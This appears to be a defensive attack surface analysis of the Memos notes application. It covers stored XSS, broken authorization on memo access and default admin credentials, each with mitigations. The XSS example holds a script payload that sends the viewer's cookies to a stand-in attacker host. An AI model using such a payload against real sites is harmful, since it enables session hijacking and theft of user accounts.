Attack Surface Analysis for usememos/memos

Attack Surface: Stored Cross-Site Scripting (XSS) in Memo Content

Description: Malicious scripts injected into user-generated memo content are stored and executed in the browsers of other users when they view the memo.
Memos Contribution: Memos' core functionality is storing and displaying user-created notes. If memo content, including Markdown and potentially HTML, is not properly sanitized, it directly enables stored XSS.
Example: A user creates a memo with the content: `<script>window.location='https://attacker.com/steal-cookies?cookie='+document.cookie</script>`. When another user views this memo, their browser executes this script, potentially sending their session cookies to the attacker's website.
Impact: Account compromise, session hijacking, data theft, defacement of memos, potential for further attacks against other users viewing the malicious memo.
Risk Severity: High
Mitigation Strategies:
- Developers:
  - Implement strict input sanitization and output encoding for all memo content before storing it in the database and before displaying it to users.
  - Utilize a robust and security-focused Markdown parsing library that actively prevents XSS injection.
  - Enforce Content Security Policy (CSP) to limit the capabilities of scripts executed within the context of the Memos application, reducing the impact of XSS.
  - Regularly audit and update the Markdown parsing library and sanitization logic to address newly discovered vulnerabilities.

Attack Surface: Insufficient Authorization for Memo Access

Description: Flaws in Memos' access control mechanisms allow unauthorized users to access, modify, or delete memos that are intended to be private or restricted.
Memos Contribution: Memos provides features for creating private, public, and shared memos. Vulnerabilities in the logic that enforces these access levels directly undermine the intended privacy and security of user notes.
Example: A user is able to manipulate API requests or URL parameters to bypass authorization checks and access a private memo belonging to another user, even though it was not explicitly shared with them.
Impact: Confidentiality breach of private memos, unauthorized access to sensitive information, potential for unauthorized modification or deletion of memos.
Risk Severity: High
Mitigation Strategies:
- Developers:
  - Implement mandatory and consistent authorization checks at every point where memo data is accessed or modified (API endpoints, backend data access logic, UI rendering).
  - Adopt a principle of least privilege for access control, ensuring users only have access to memos they are explicitly authorized to view or modify.
  - Thoroughly test all access control logic for different memo types (private, public, shared) and user roles to identify and fix any bypass vulnerabilities.
  - Conduct regular security audits of the authorization implementation to ensure its continued effectiveness.

Attack Surface: Insecure Default Credentials

Description: Using default usernames and passwords for initial Memos setup or administrative accounts that are not changed by administrators, providing an easily exploitable entry point.
Memos Contribution: If Memos is distributed with default administrative credentials for ease of initial setup, this directly creates a critical vulnerability if administrators fail to change them.
Example: Memos is installed with a default administrator username and password. An attacker discovers these default credentials (easily found in documentation or online) and uses them to log in as administrator, gaining full control over the Memos instance and all stored memos.
Impact: Complete compromise of the Memos instance, full access to all memos, potential for data breach, data manipulation, and denial of service.
Risk Severity: Critical
Mitigation Strategies:
- Developers:
  - Eliminate the use of default credentials entirely. Force administrators to create strong, unique credentials during the initial setup process.
  - If default credentials are absolutely unavoidable for initial setup, generate unique, random default credentials for each installation and provide clear, prominent instructions to administrators to change them immediately.
- Users/Administrators:
  - Immediately change any default usernames and passwords upon installing Memos. This is the most critical step to secure a new Memos instance.
  - Use strong, unique passwords for all administrative and user accounts.